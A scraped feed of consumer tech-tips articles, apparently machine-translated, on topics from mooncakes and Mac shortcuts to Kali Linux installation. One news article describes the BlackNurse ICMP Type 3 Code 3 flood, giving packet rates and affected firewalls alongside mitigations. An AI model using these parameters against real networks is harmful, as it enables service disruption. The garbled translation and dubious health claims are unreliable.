cakes.\n5. Mooncake + cereal porridge   Have you ever enjoyed moon cake and cereal porridge? If not, then buy back to enjoy this special dish in the autumn this year.\nIn the Mid-Autumn Festival, if you eat too many moon cakes that make your stomach uncomfortable, eat some cereal porridge, this kind of porridge will make your stomach more comfortable. In cereal porridge contains a comprehensive amount of nutrients, along with a number of vitamins, fatty acids, calcium, potassium, iron, zinc, fiber . help replenish fiber to the body and support good digestion More, especially burning fat into the body. Therefore, if you want to dissolve the amount of body fat, after eating mid-moon cake, you should eat a bowl of hot cereal porridge.\nncG1vNJzZmismaXArq3KnmWcp51kgm6yzqibrGWkna61edKhpq6klGKvpnnCqKSboZ6asW7DyK2fZqWfpLtur8CknKxlp565rXnBnmSgp5%2BZeqe70WafnpmcqbU%3D\n","link":"/post/5-foods-that-should-be-combined-with-moon-cakes-will-be-good-for-health/","section":"post","tags":null,"title":"5 foods that should be combined with moon cakes will be good for health"},{"body":"Apple computers are known for their premium build, durability, and ease of use. But did you know that it has tons of other cool features that make using it a breeze?\n  Here are 8 features that you should try on your Mac -\u0026nbsp;\n#1. Add articles to your Reading List You see an article that interests you, but you don't have time to read it right away. But you don't want to bookmark it because it's a one-time read and not something you see yourself referencing for an extended period of time.\nUse Safari's Reading List. It adds a bookmark to URLs that you want to go back to without cluttering your actual bookmarks.\u0026nbsp;\nThis is an underrated feature that you should definitely try if you use Safari as your default browser. You can also use a shortcut - Shift + Command + D - to save a page to your Reading List.\u0026nbsp;\nThis can be accessed on any other Apple device you own.\u0026nbsp;\n#2. Play Chess with your device Playing chess on computers has been around for a while. In fact, there were machines like Deep Blue built just for chess playing. But did you know your love for chess can be fulfilled on your Mac?\u0026nbsp;\nYou can play against your device or another person and even change the way the game looks.\u0026nbsp;\nYou can also set a difficulty based on your experience. The greatest difficulty will have you feeling as if you're up against Deep Blue.\n#3. Utilize iWork   Apple's take on Microsoft Office comes pre-installed on every Mac device. This includes Pages akin to Microsoft Word, Numbers to replace Excel, and Keynote as an alternative to Microsoft Powerpoint.\u0026nbsp;\nYou can also install Microsoft Office for a subscription, of course, but Apple's iWork has all the basics covered.\u0026nbsp;\n#4. Use Speech Recognition to speed things up Did you know you could use voice commands to get things done? Just head to your 'System Preferences' and within 'Accessibility,' choose 'Speakable Items.'\u0026nbsp;\nHere you can set up voice commands and save lots of time that is usually wasted in typing.\u0026nbsp;\n#5. Use Apple's recommendations to manage storage If you feel like there is a noticeable lag on your computer, chances are your memory is probably full. Your options are to delete files or to extend your SSD, which is expensive. But, Apple has you covered in this department as well.\nGo to 'About this Mac,' then 'Storage' and click 'Manage.' This will show you precisely what is taking up most of your memory and how to optimize your storage.\nYou can empty your trash automatically, sync to iCloud or 'Optimize Storage' and 'Reduce Clutter.' Doing this will clean up a lot of space and improve your performance.\u0026nbsp;\nBut if you want to clean up and speed up your Mac, click here for a step-by-step guide to ensure your Mac runs smoothly.\u0026nbsp;\n#6. Sign PDFs without Adobe You'll often be in a situation where you have to sign documents. Now, there are a lot of online tools that help you do that or the popular Adobe. But you need a subscription for Adobe, and with sensitive data, you cannot risk using an online tool that has not been vetted by your security experts.\u0026nbsp;\nThere is an easy solution - just use Preview. Download your PDF and open it in Preview. You can use this to sign PDFs by placing your signature anywhere you want. You can also enter other details like your name and date of signature or annotate the PDF.\u0026nbsp;\nTo create your signature, you can sign on the trackpad, sign on your iPhone or upload your signature to your Mac.\u0026nbsp;\n#7. Display your photos as your screensaver Instead of a static wallpaper, what if you could keep changing it to pictures you've taken? Apple's Macs let you do that easily. You can choose which photos you want to display or select all your images via iCloud's Photostream.\u0026nbsp;\nSet up the source of your wallpaper as iCloud's Photostream and you're all set.\n#8. Summarize long documents   One of the things you may have to do as a student or a professional is to read and summarize documents. It can be pretty tedious and time-consuming.\u0026nbsp;\nInstead of putting in manual effort, just use the 'Summarize' feature in your Keyboard Shortcuts.\u0026nbsp;\nSelect the text you want a summary for and right-click to 'Summarize.'\nBonus: Other cool things you can try Apart from the in-built features listed above, you can try Dictation to dictate text, use a bunch of keyboard shortcuts to improve productivity, encrypt your files using File Vault for safety, and turn off notifications when you don't want to be disturbed.\u0026nbsp;\nAll in all, Apple's devices have a lot of cool features that you will come across the more you use your system.\nncG1vNJzZmismaXArq3KnmWcp51khW6vzqijZqyYnruov4yypq5lk5a7brDOZqanZZFiuqKv\n","link":"/post/8-cool-things-you-can-do-on-a-mac/","section":"post","tags":null,"title":"8 Cool Things You Can Do on a Mac"},{"body":"Microsoft has adopted the open source Chromium project during development of Microsoft Edge on the desktop to create better web compatibility. This new Microsoft Edge runs on the same Chromium web tool with the Google Chrome browser, providing users with the best web performance and compatibility.\nMicrosoft has also introduced a new Microsoft Edge logo designed to record the innovations it intends to bring to users.\nCurrently, the Chromium-based Microsoft Edge web browser is only available for download and installation as Microsoft Edge Insider. It is expected that this browser will be available to the public on January 15, 2020 in more than 90 languages.\nNew Microsoft Edge will be supported on all versions of Windows 7, Windows 8.1, Windows 10, Windows Server (2016 and later), Windows Server (2008 R2 to 2012 R2) and macOS.\nTrackers are used on websites to collect data about a user's browsing behavior. The tracker collects data about how users interact with a website, click content and other interesting information about the browser. They also provide many functions for websites, such as allowing comments, sharing articles on social networks and personalizing ads.\nSome of these trackers collect data about users on many websites. For example, ExampleTracker can track while you navigate to your favorite shopping site and news site. This is why it sometimes feels like an ad is following you on the web.\nMicrosoft Edge is designed to detect and block trackers. Microsoft gives you the power to decide which tracker to block through the Tracking Prevention feature. You can choose from 3 levels for Tracking Prevention - Basic, Balanced and Strict. Balanced is selected as the default. Each option blocks potentially harmful trackers.\nBasic: Block potentially harmful trackers but allows most other trackers, as well as one to personalize content and ads. Balanced (Recommended): Block potentially harmful trackers and websites that you don't visit. Content and advertising may be less personalized. Strict: Block potentially harmful trackers and most trackers on the web. Content and advertising can be personalized to a minimum. This option blocks most trackers but may cause some sites to not function as expected. For example, the video may not play or the login may not work. While blocking trackers is great for privacy, you may want to make exceptions for some trusted websites and turn off Tracking Prevention. But note this will allow all trackers on those sites to work, including those that are potentially harmful.\nThis tutorial will show you how to add and remove Tracking Prevention exceptions for specific websites in Microsoft Edge based on Chromium.\nAdd or delete websites directly as an exception in Tracking Prevention on Microsoft Edge 1. Open Microsoft Edge.\n2. Visit the site you want to add or delete as an exception.\n3. Click the information button to the left of the address bar.\n4. Select On (to add) or Off (to delete) in the page's URL drop-down menu in Tracking prevention.\n  \n5. Click Refresh to apply.\n  Add the site to the exception in Tracking Prevention via the Microsoft Edge Settings 1. Open Microsoft Edge.\n2. Click the 3-dot menu icon and select Settings.\n  3. Click Privacy and services on the left and select Exceptions on the right.\nNote : If you don't see the left panel, expand the horizontal borders of the Microsoft Edge window until you see it.\n  4. Click the Add a site button.\n  5. Enter the full URL of the website and click Add.\n  \n6. When you're done adding sites exceptions, you can close the Settings tab if you like.\nRemove websites from the exception in Tracking Prevention via the Settings of Microsoft Edge 1. Open Microsoft Edge.\n2. Click the 3-dot menu icon and select Settings.\n  3. Click Privacy and services on the left and select Exceptions on the right.\n  4. Click the More actions button (3 dots) to the right of the webpage you want to delete and select Remove.\n  \n5. When you have finished removing exceptions for websites, you can close the Settings tab if you like.\nRemove all web pages from the exception in Tracking Prevention via Microsoft Edge Settings 1. Open Microsoft Edge.\n2. Click the 3-dot menu icon and select Settings.\n  \n3. Click Privacy and services on the left and select Exceptions on the right.\n  4. Click the Remove all button .\n  \n5. Click Remove all to confirm.\n  6. You can now close the Settings tab if desired.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51krqWwjJqlnWWimrqwwsRmnLGblaXBqrvNrGSipl2pv6KvyqKloGWgp7K3sc2toKimXaS7brnInKmoq5%2BbwW6xw6CcZpuYp7yutdSm\n","link":"/post/add-and-remove-exceptions-in-tracking-prevention-on-microsoft-edge-chromium/","section":"post","tags":null,"title":"Add and remove exceptions in Tracking Prevention on Microsoft Edge Chromium"},{"body":"Even if those servers are equipped with well-known firewall devices, they can still be knocked out if the attacker exploits this technique.\nIt may sound unbelievable, but instead of a giant botnet, you only need a laptop with an Internet connection to launch a powerful DDoS attack, take down important Internet servers and show firewalls. great.\n  Researchers at the TDC Security Operations Center have discovered a new attack technique that allows single attackers with limited resources (in this case, a laptop with a network of tapes). bandwidth with at least 15 Mbps) can take down large servers .\nDubbed BlackNurse - Black Nurse attack technique or low speed \" Ping of Death \" attack , this technique can be used to launch a series of low-volume DoS service denial attacks. How to send ICMP packets or \"ping\" to flood the processor on the server.\nEven servers protected by firewalls from Cisco , Palo Alto Networks , or other companies are also affected by this attack technique.\n  ICMP (Internet Control Message Protocol) is a protocol used by routers and other network devices to send and receive error messages.\nPing of Death is an attack technique that overloads the network by sending ICMP packets in excess of 65,536 bytes to the target. Because this size is larger than the allowable size of IP packets, it will be broken down and then sent partially to the destination host. Upon reaching the target, it will be reassembled into a complete packet, due to its excessive size, it will cause buffer overflow and hang.\nAccording to a technical report released this week, the technique to attack BlackNurse is also known under a more traditional name: \" attack to cause ping flood \" and it is based on ICMP Type 3 queries (or errors). Destination Unable to access - Destination Unreachable) Code 3 (Port Unreachable error).\nThese queries are replies, usually returning ping sources when the destination port of the target is inaccessible - or Unreachable .\n1. Here's how the BlackNurse attack technique works: By sending a Type 3 ICMP packet with a code of 3, a hacker can cause a denial of service (DoS) by overloading CPUs on certain types of server firewalls. , no matter what the quality of the Internet.\nBlackNurse technical access is very small, only from 15 Mbps to 18 Mbps (or between 40,000 and 50,000 packets per second), especially when compared to a record 1 Tbps DDoS attack targeting a provider OVH French Internet service in September.\nMeanwhile, TDC also said that this huge volume is not an important issue when just maintaining a steady stream of ICMP packets from 40K to 50K to the victim's network device is destructive. target device.\n  So what is the good news here? \" When the attack takes place, users on the LAN will not be able to send or receive access to and from the Internet anymore. All the firewalls that we have seen are recovering later,\" the researchers said. when the attack stops . \"\nHowever, this means that this low-volume DoS attack technique is still very effective because it not only floods the firewall with access, but also forces the CPU to load at a high level, even Take down offline servers if the attack has enough network capacity.\nResearchers believe BlackNurse should not be confused with attacks that cause ping flooding based on ICMP Type 8 Code 0 packets (or regular ping packets). The researchers explained:\n\" The BlackNurse attack technique caught our attention because in the anti-DDoS solution test, even if the access rate and packet volume per second were very low, this attack can also stop all activities of our customers . \"\n\" Even this attack technique can be applied to businesses that are equipped with firewalls and have large Internet connections. We hope that professional firewall devices will be able to handle these. this attack . \"\n2. The device is affected BlackNurse attack technique is effective with the following products:\nFirewall device Cisco ASA 5506, 5515, 5525 (at the default settings). Cisco ASA 5550 (old) and 5515-X firewall devices (latest generation). Cisco Router 897 (may be slightly reduced). SonicWall (misconfiguration can be changed and mitigated). Some unspecified equipment from Palo Alto. Zyxel NWA3560-N Router (wireless attack from internal LAN). Zyxel Zywall USG50 firewall device.    3. How to mitigate the BlackNurse attack? There is still good news for you - there are several ways to counter BlackNurse attacks.\nTDC offers a number of mitigation measures and IDS SNORT rules ( SNORT open source intrusion detection system) that can be used to detect BlackNurse attacks. Furthermore, the PoC code (proof-of-concept) has been posted on GitHub by OVH engineers, which can also be used to test network administrators' devices against BlackNurse.\nTo mitigate BlackNurse attacks on firewalls and other devices, TDC recommends that users create a list of reliable sources, be allowed to send and receive ICMP packets . However, the best way to mitigate the attack is to simply disable the ICMP Type 3 Code 3 packet on the WAN interface.\nPalo Alto Networks also released a statement, saying its devices are only affected by \" very specific scenarios, not in default settings and contrary to common practices .\" The company also listed some recommendations for its customers.\nMeanwhile, Cisco said it did not assume that the behavior in the report was a security issue, but warned that:\n\" We recommend that people set up licenses for packets that cannot access ICMP Type 3. Deny messages that cannot access ICMP help disable Path MTU Discovery protocol for ICMP packets. can prevent IPSec (Internet Protocol Security: a set of protocols for securing communications) and PPTP protocol access (Point-To-Point Tunneling Protocol: A protocol used to transfer data between VPN virtual private networks) . \"\nFurthermore, independent software vendor NETRESEC also published a detailed analysis of BlackNurse entitled \" Attack techniques that flooded back in the 1990s have returned .\" In addition to the above warnings, Sans Institute also announced a short memo about BlackNurse's attack, discussing the attack and what users should do to mitigate it.\nncG1vNJzZmismaXArq3KnmWcp51kr62twqRkp62iqLJusMOoqmaslZi1r7vLqJ6yZZ2WuKa%2FjKKrZqifqMCqrsueZJ%2BnomKubrrOq6SapF2hrrHAzqlkraddqa6ssYydprCmXZZ6tLHRr5yrZZGoerixy6U%3D\n","link":"/post/black-nurse-ddos-technology-makes-it-possible-for-a-normal-laptop-to-take-down-a-server-as-well/","section":"post","tags":null,"title":"Black Nurse - DDoS technology makes it possible for a normal laptop to take down a server as well"},{"body":"Tom Clancy's Rainbow Six Siege has been a highlight of the team competition game for the past 5 years and has been quite successful since its launch. This game is considered by many gamers to have an addictive gameplay with two really attractive elements: playing both defense and character design skillfully.\nThe team must continuously detect weaknesses, entry points and retreat points. As for the team, on the contrary, you have to manipulate all you have around from the equipment, the typical features of the characters in the team and even the surroundings to create a solid barrier. firm and set the point.\nIn addition to the above two factors, game graphics is also a factor that attracts many gamers. It is commented that there is quite realistic graphics and achieved almost perfect level. Many will wonder what Rainbow Six Siege requires of gamers. You will know when to refer to the configuration Rainbow Six Siege on the computer below this article.\nConfigure playing The Evil Within 2 on the computer Configure Tom Clancy's Rainbow Six Quarantine on the computer Configure playing Warhammer: Chaosbane on the computer Configure playing Assassin's Creed Unity on the computer Minimum configuration for playing Tom Clancy's Rainbow Six Siege on the computer   Operating system: Windows 7 64 bit, Windows 8 64 bit, Windows 10 64 bit CPU required: Intel Core i3 560 @ 3.3GHz or higher, AMD Phenom II X4 945 @ 3.0Ghz or higher RAM required: 6GB Graphics card: NVIDIA GeForce GTX 460 or AMD Radeon HD 5770, or DX 11 graphics card with 1GB VRAM Required memory: 61GB Configuration requires playing Tom Clancy's Rainbow Six Siege on the computer   Operating system: Windows 7 64 bit, Windows 8 64 bit, Windows 10 64 bit CPU required: Intel Core i5-2500K @ 3.3 GHz or higher, AMD FX-8120 @ 3.1 Ghz or higher RAM required: 8GB Graphics Card: NVIDIA GeForce GTX 670 (or GTX 760 or GTX 960) or AMD Radeon HD 7970 (or R9 280x 2GB VRAM / R9 380 / Fury X) Required memory: 61GB Both levels of configuration requirements are fairly light compared to the current mid-range computer configuration. Just a PC configuration of 6-7 million, you can experience Rainbow Six Siege with Medium configuration.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYr%2Bitc2bprBlo57Fbr%2FInp6eZZ%2BjerW0xGaaqKWgqsGmvg%3D%3D\n","link":"/post/configure-rainbow-six-siege-on-the-computer/","section":"post","tags":null,"title":"Configure Rainbow Six Siege on the computer"},{"body":"Some of the current websites already have an arrow button to go to the top of the page or to the bottom of the page quickly, without users having to scroll, saving time browsing the web. However, not every website has that quick scroll button. If so, users can install the Scroll To Top Button utility.\nScroll To Top Button Utility support on browsers including Chrome, Firefox, Opera, Microsoft Edge. After installing this utility, a quick scroll button will appear on the top of the page or at the bottom of every page. The following article will show you how to use the Scroll To Top Button utility on Chrome browser. Other browsers you use are similar.\n44 shortcuts are useful on all browsers Instructions for enabling Smooth Scrolling on Google Chrome 9 Chrome Flags you should activate to have a better browsing experience How to bring a quick scrolling button to your website on Chrome Step 1:\nUsers download the utility to the browser they want to use.\nDownload the Scroll To Top Button utility for Opera Download the Scroll To Top Button Chrome utility Download the Scroll To Top Button Firefox utility Download Scroll To Top Button for Edge   Step 2:\nAfter installation is complete, open any web page and see a quick scrolling arrow to the top of the page.\n  Step 3:\nThe gadget also provides many customizations for the page navigation button. Right-click the web page and select Scroll To Top Button Options .\n  Or users can click the Scroll To Top Button widget icon at the end of the address bar, then select Options.\n  Step 4:\nDisplay pop-up interface with different groups of different site navigation buttons.\n  For example, in Button settings , users choose the type of navigation buttons including:\nScroll to top only: Default button, only navigate upwards. Flip between top \u0026amp; bottom: Flexible operation navigation button. When you move to the top of the page, you will see a quick scroll button at the bottom of the page and vice versa. Dual arrows: Includes two navigation buttons to the top and bottom of the page. Keyboard only: Navigate by shortcut.   The user can then continue to set the scrolling or scrolling speed, navigation button size, type, position, opacity for the button, . With the page shortcut key, use shortcut key Alt + key Up / down arrows or Home / End to navigate up and down.\nTo return to default settings, click Restore defaults .\n  Step 5:\nIn addition, we can also customize which gadget works on the site, such as those that already have navigation buttons. Click on the utility icon to select Disable STTB for this URL to disable the utility with this URL, or Disable STTB for this domain to disable the pages of this domain.\n  Scroll To Top Button utility brings quick navigation buttons for web pages in the browser, helping you to the top or down the page faster. Users can customize the display mode of navigation buttons, as well as which utilities work on which sites.\nSee more:\nHow to turn on and turn off smooth scrolling on Opera Surf the web more effectively with the mouse wheel How to automatically open a website at a specific time I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqiedKcqaiknGKvtsDTqKVmrJ9iwamxjK2mqWWfm3q1tMRmp5qflWKzsL6MsJybZaCWtKa%2F\n","link":"/post/how-to-add-a-scroll-button-to-the-top-of-the-page-for-web-pages/","section":"post","tags":null,"title":"How to add a scroll button to the top of the page for web pages"},{"body":"On Facebook there is a very nice and unique 'Check-in' feature to mark your location when you visit the place. However, not all locations are available on Facebook, the database system still has many limitations. Most of the places on Facebook are created by users and let people check-in together. What if the place you want to Check-in is not available? In this article, Software Tips will guide you how to create locations on Facebook.\n  1. How to create a place on Facebook with your phone Step 1: Open the Facebook app and select the Check-in tab above the status bar. Then, enter the name of the place you want to create and scroll down to the bottom and select Add 'location name' to Facebook .\n  Step 2: Next, you choose Now, I'm here for the system to get your location. After that, you continue to select I'm currently here and click Create to add locations.\n  Step 3: So, you have conducted a successful location on Facebook and you can check-in at this location.\n  2. How to create a place on Facebook using a computer Creating places on Facebook with computers will be somewhat more complicated because they have to go through a certain Page system.\nStep 1: You proceed to the following Web site and select Create page to add locations.\nHomepage: https://www.facebook.com/bookmarks/pages\n  Step 2: Then, you proceed to name the page as the name of the location and select an item to describe them. When done, click Continue to move to the next page, the next page you just need to select Skip is finished.\n  Step 3: Once you have created the location, go to the status post and select Check-in .\n  Step 4: At this point, enter the name of the location you just created in the search window, the location you just created will appear.\n  In this article, Software Tips guide you how to create a Check in Facebook location quickly and effectively. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKmkkZiybrvNZp2am5WXvLC3\n","link":"/post/how-to-create-a-place-on-facebook/","section":"post","tags":null,"title":"How to create a place on Facebook"},{"body":"Microsoft has added a number of new settings that allow users to change the look of the computer running Windows 8.1 according to their preferences.\n  With Windows 8.1 , Microsoft added a few custom settings to ' mimic' the traditional Windows experience, such as boot-to-desktop mode ( booting into desktop mode ); choose to use desktop wallpaper as the background for Start screen, there are many new tile sizes and lots of desktop wallpaper options. Here's how to customize the Windows 8.1 computer interface.\nResize batches of tiles: 1. Right-click on the tile you want to resize. This tile will be marked with a blue bar above the group with the words ' Name this group '.\n  2. Right-click all the tiles you want to resize to enlarge or shrink multiple tiles at once.\n  3. Scroll down to the green taskbar at the bottom of the screen and press ' Resize '. A submenu will appear with four size options: Large (large ), Wide ( wide ), Medium (medium ) and Small (small) . The ' Large ' option will only appear when you are resizing in bulk. tile for a while , not when you change the size of individual files.\n  Use the same wallpaper for both desktop and Start screens: 1. Click the ' Desktop ' tile on the Start screen.\n  2. Right-click the taskbar at the bottom of the screen and select ' Properties '.\n  3. Click the Navigation tab.\n  4. Check the 'Show my desktop background on Start' box under the 'Start screen' section.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGasmJp6uLXNnaawq11tfm61za2cq56RmLI%3D\n","link":"/post/how-to-customize-the-windows-8-1-interface/","section":"post","tags":null,"title":"How to customize the Windows 8.1 interface"},{"body":"Until now, a famous Linux distro, Kali Linux, has always been sought by security experts or hackers. Why? Simply because Kali Linux has a built-in range of tools for penetration, hacking, analysis, etc. all are categorized very clearly. Join TipsMake.com to consult how to install and use Kali Linux on VM Ware virtual machines.\n1. Download Kali Linux: You can download the Kali Linux installation as an ISO file directly or via torrent at:\nKali Linux Home: https://www.kali.org/downloads/ Kali Linux virtual machine file as VM Ware, ARM or Kali ARM code. In terms of capacity, Kali Linux's \"gentle\" ISO file is also over 1GB for the x86 architecture, which is much heavier than the 32-bit version of normal operating systems, as well as other Linux distros. . But what makes Kali Linux so special is its high compatibility with many different medium configuration machines. Let's test it out at the bottom of the article.\nIn this article, we proceed to install Kali Linux Light version file (meaning gently, download the ISO file directly here).\nRefer to how to install Linux from the ISO file on Windows here.\n2. Steps to install Kali Linux on VM Ware virtual machine: As we know, VM Ware software is one of the most stable virtual machine creation applications on the Windows environment. The Windows version we use in this test is 11.x. Now start, you start VM Ware, create a new virtual machine as usual, select Custom mode to change the custom as you like.\nOptions as usual, to select the operating system as shown below:\nGuest operating system : you choose Linux - of course Version : choose the highest Debian support on VM Ware, here is 7.x   Note that if you install Kali Linux 64 bit, you must also choose Debian 64 bit\nThe remaining steps are as simple as usual, you Next\u0026gt; Next\u0026gt; Finish . Some of the parameters we apply in this example:\nHard drive capacity: 40GB RAM: 1660MB Network mode: NAT CPU: 2 cores of 2 cores I / O Controller type: LSI Logic Virtual disk type: SCSI   Because there are many small, odd steps, I will split up as below. Invite you to follow!\nStep 01: When you start installing Kali Linux, you will see images like this:\n  There are several options, such as Live, which is an online installation, requiring an Internet-connected device. Since we installed from the full ISO file, here we switch to Install (command line interface) or Graphical Install (graphical interface support).\nStep 02: The first is the section for Language selection, there are many languages ​​listed here, if you want to use Vietnamese, then you can scroll down to the bottom of the list to see Vietnamese - Vietnamese as the picture:\n  Click Continue to continue\nStep 03: Yes, notice very polite by Kali Linux when you choose Vietnamese language pack when installing. That is because due to incomplete information, some messages will still display English language as default. Click Continue :\n  Step 04: Select geographic location, Vietnam :\n  Step 05: Select typing mode, or Configure keyboard. I recommend that you keep this part of the keyboard as English instead of other languages, because when you enter your account and password, the language system on the keyboard will change, if you are not used to it, it will I don't know which way to go:\n  Step 06: Click Continue, the installation process will read and write system files from the ISO file and gradually create the Kali Linux operating system. At this step, you will name the computer like naming PC Name on Windows:\n  Step 07: Next step, configure the domain . If you use a single machine, just skip this step and click Continue. The system will create a domain with the name localhost to use:\n  Step 08: The system will automatically configure the network, and that setting will be done. Next is to set the admin password for the root account - here Kali Linux translates as the master account:\n  The root password requires a combination of special characters, uppercase, lowercase, numbers and letters. Here, for example, QTMabc123456\nStep 09: Next, Kali Linux will ask you to partition the hard drive format and use what parts to install. Here I choose the first, the entire hard drive , English is Use entire disk :\n  Step 10: Select the 40GB partition we have set up in the previous step:\n  Step 11: For new users, leave the option to throw all system files into a single partition (All files on one partition - recommended for new users) - All files in one partition (recommended for new users ):\n  Step 12: Select Finish partitioning and write changes to disk - Finish partitioning and write changes to disk:\n  Step 13: Save the changes. Select Yes - Yes at this step:\n  Step 14: The process is recorded as Installing this system will take place in about 10-15 minutes. Just wait:\n  Step 15: Next is the Network mirror configuration - the Vietnamese translation package is network mirroring . Select Yes - Yes to be able to use any network in the mirror system to update and update the software later:\n  Step 16: Leave this section blank:\n  Step 17: The configuration process will run again, it will take about 10-15 minutes. Note that this is a very important step, which is the option to load GRUB into Kali Linux's startup section, it is mandatory to select Yes - Yes:\n  If GRUB is not selected at this step, Kali Linux will not be able to boot\nStep 18: Select / dev / sda so that the system throws GRUB into it:\n  Step 19: Then the system continues to run for another 5 minutes. Basically this is done, to this screen of Installation complete like this, you click Continue and the system will restart automatically:\n  Actually, Kali Linux will run for another 5 minutes before restarting\nStep 20: When you see the login screen like this, it means that the Kali Linux installation is basically done, now we can log in to the system. This is the root account entry step, the password is initialized in the previous step:\n  Username: root and password: QTMabc123456 is used in this test\n  And here, the screen when I first logged into Kali Linux will look like this. Just like the message above, some dialogs are still in half Vietnamese English half:\n  In general, Kali Linux's interface is somewhat similar to other distros of Linux such as Debian, Ubuntu, Linux Mint . All programs and applications are arranged in the Applications section at the top left corner of the screen as shown below. Here, and you can see a lot of applications that support network analysis and security .\n  The shutdown, restart, and sleep menus are also located in the Exit section\nThe file browser window feels quite similar to Windows. The basic navigation buttons for windows, such as zooming, zooming, and turning off, are arranged in exactly the same way as Windows, and there is no such thing as a \"Ribbon\" or \"reverse\" hybrid version like on Mac OS X:\n  And like all other distros in the Linux family, Kali Linux's default browser is certainly Mozilla Firefox, with many add-ons that support security as shown:\n  And finally, Terminal - the command line support tool is definitely indispensable in any Linux-based operating system:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecXarApnnKmqOiZZyeu7bEjKilZq6drK6zsYyvoKuspZa5brnAnJ%2BippU%3D\n","link":"/post/how-to-install-and-use-kali-linux-on-vmware-virtual-machine/","section":"post","tags":null,"title":"How to install and use Kali Linux on VmWare virtual machine"},{"body":" Many RVs don't handle freezing temperatures well, which can lead to frozen hoses when you're connected to the water supply. If you're planning to stay in a location that's extremely cold, insulating your water lines and valves will help...\nMethod 2of 3:\nInsulating the Water Valves  Put a skirt around the base of your RV to keep water lines from freezing. A skirt shields the area underneath your RV from the elements to protect any exterior water lines or valves. Use insulating foam boards around the perimeter of your RV so it doesn't get cold underneath. Make sure the foam boards fit snugly under your RV or else they won't be as effective.[7] You can buy insulating foam boards from your local hardware store. Some specialty RV stores may sell skirts that you can easily attach and store away when you're not using it. Check online for RV skirts to see what's available for your vehicle's model. You need to insulate the water valves as well as the supply hose you're using.   Keep a heat lamp in the water compartment to melt any ice. The water valves are usually located in an exterior compartment on the RV. While some of these compartments may be heated when you run your RV, they may still freeze if it gets too cold. Plug in a small space heater or heat lamp in the compartment to keep it warm or else your valves could freeze and prevent water from running through them.[8] Make sure the heater or lamp is unplugged when you aren't using it. If your tanks are outside or exposed, you may not be able to use a heater or lamp to keep them thawed. Tip: If the valves do freeze, try pouring a small amount of hot water on them or using a heat gun to melt anything that's frozen.\n  Avoid dumping the water tanks until they're full. Empty water tanks are more likely to freeze and could plug the valves and hoses with ice. Close the valves on your water tanks by turning them counterclockwise so the liquid stays inside. When your tanks are filled, dump them so they are only ¼ of the way filled so they don't freeze.[9]\n  Use a holding tank heater if there's any risk of them freezing. Holding tank heaters are like electric blankets that keep your tanks from freezing. Plug the tank heater into your RV and drape it around the water holding tanks. Keep the heater on whenever the temperatures dip below freezing so the water doesn't solidify.[10] You can buy holding tank heaters online or at specialty camping stores.  Method 3of 3:\nThawing Frozen Hoses  Use a heat gun on the hose connections. Point the heat gun at the end of the hose that connects to your RV and heat it for about 5-10 minutes. Move the nozzle of the heat gun all around the hose so the ice melts. Once one end of the hose is thawed, heat the other end of your hose to melt the ice inside.[11] You can buy a heat gun from your local hardware store. If you don't have a heat gun, you can also use a hair dryer but it may take longer to thaw.   Unscrew the hose from the ports on your RV and water supply. Rotate the end of your hose counterclockwise to loosen it from the port. Pull the end of the hose carefully away from the port so you don't cause any damage to them. If the hose is still difficult to disconnect, heat it up for 5 more minutes with your heat gun to thaw it out.[12] Be careful not to bend or deform the hose too much since you could cause damage to it.   Bring the hose inside your RV to warm it up. Once the hose is completely disconnected from the water supply, hold the ends so they're pointing up or else water could spill out. Drape the hose inside your RV's shower so the water melts and goes into the drain. Turn on the RV's heater and let all of the ice inside the hose melt so the hose is empty. The water from the melted ice will exit the hose and fall into the drain.[13]\n  Check the hose for damage before reattaching it. Since water expands when it freezes, it could cause the hose to stretch or burst in areas. Inspect the hose for any areas that are cracked, split, or weak to make sure it's still safe to use. If you don't find any damage, attach the hose back onto the water lines when you need more. If there is damage, you'll need to get a different hose for your water supply.\nTip: Keep a spare water hose in your RV storage compartments in case your primary hose is damaged.\n  Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqOVmr1urc1mqa9lp5bBpr6MoaasnV2bv7C5jJ%2Bpnp2qnruo\n","link":"/post/how-to-keep-an-rv-water-hose-from-freezing/","section":"post","tags":null,"title":"How to Keep an RV Water Hose from Freezing"},{"body":"Learning Korean as well as any other language in the world, the first thing is to learn the alphabet. Korean alphabet of hieroglyphic writing. Although there are ways to write characters completely different from Vietnamese, the Korean letters have a fairly simple way of reading, sounds similar to Vietnamese.\nThe Korean alphabet set (Hangeul 한글) now includes 21 vowels and 24 consonants, including 24 basic letters and 16 letters made up of basic letters.\nHere is the Korean alphabet, their vowels, consonants and standard pronunciation.\nKorean alphabet and pronunciation\n  21 Korean vowels and pronunciation\n10 single vowels in Korean include:\n  11 extended vowels (double vowel) in Korean.\n  In Korean, vowels cannot stand independently. There are always consonants not reading 'ㅇ' in front of vowels when standing independently in words or sentences.\n19 consonants in Korean\n  \nIn order to be able to communicate in Korean, you must persist in learning and practicing a lot. First, start by learning the alphabet. Wish you early success.\nSee more:\nSpell Maste AR, an interesting Japanese language learning app that allows you to display objects like magic Applications to learn Korean on the phone How to install Korean keyboard for iPhone How to install Korean keyboard for Windows ncG1vNJzZmismaXArq3KnmWcp51kuLC%2BxJqlZpmcpbWirsStZJqmlGLAta3NnZirnF2lv7C61Keaopmknryv\n","link":"/post/korean-alphabet-and-standard-pronunciation/","section":"post","tags":null,"title":"Korean alphabet and standard pronunciation"},{"body":"Recently, a Microsoft member revealed the information and profile of some of the applications that work with the manual \"pointing\" that Windows 7 provides . Microsoft Surface Globe\n  The first application of this application is called the Surface Globe. You can imagine that this app is a 3D globe that displays images of the world right before your eyes. Here, you can visit many places on the earth, find out information of areas, mark points of interest, . Not only that, the image here is displayed in a very detailed and real way under 3D image format. If you want to learn this application thoroughly, you can access it here.\nMicrosoft Surface Collage\n  With this special collage application you can choose an image gallery and move them around very interesting. Once arranged, you can save it under a new image and use it as a wallpaper for Windows.\nMicrosoft Surface Lagoon\n  With a new screen saver, you can interact with scenes around your index fingers. Here the scenery includes fish, water, sand, .\nMicrosoft Blackboard\n  This app is like a puzzle game that gives users a magic board. This 